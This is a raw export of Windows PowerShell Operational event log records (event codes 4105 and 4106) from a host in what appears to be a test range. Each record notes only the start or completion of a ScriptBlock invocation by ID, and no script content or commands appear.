EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648338
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648336
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648334
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648372
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648370
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648368
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648367
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648366
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648364
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648363
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648362
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648360
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648359
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648358
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648357
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2802b835-41fc-4e44-be5c-997b472314f7
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648355
Keywords=None
Message=Started invocation of ScriptBlock ID: 2802b835-41fc-4e44-be5c-997b472314f7
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648354
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648353
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648352
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648351
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648350
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648349
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648348
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648347
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648345
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648344
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648343
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648341
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648406
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648404
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648402
Keywords=None
Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648401
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648400
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648398
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648397
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648396
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648394
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
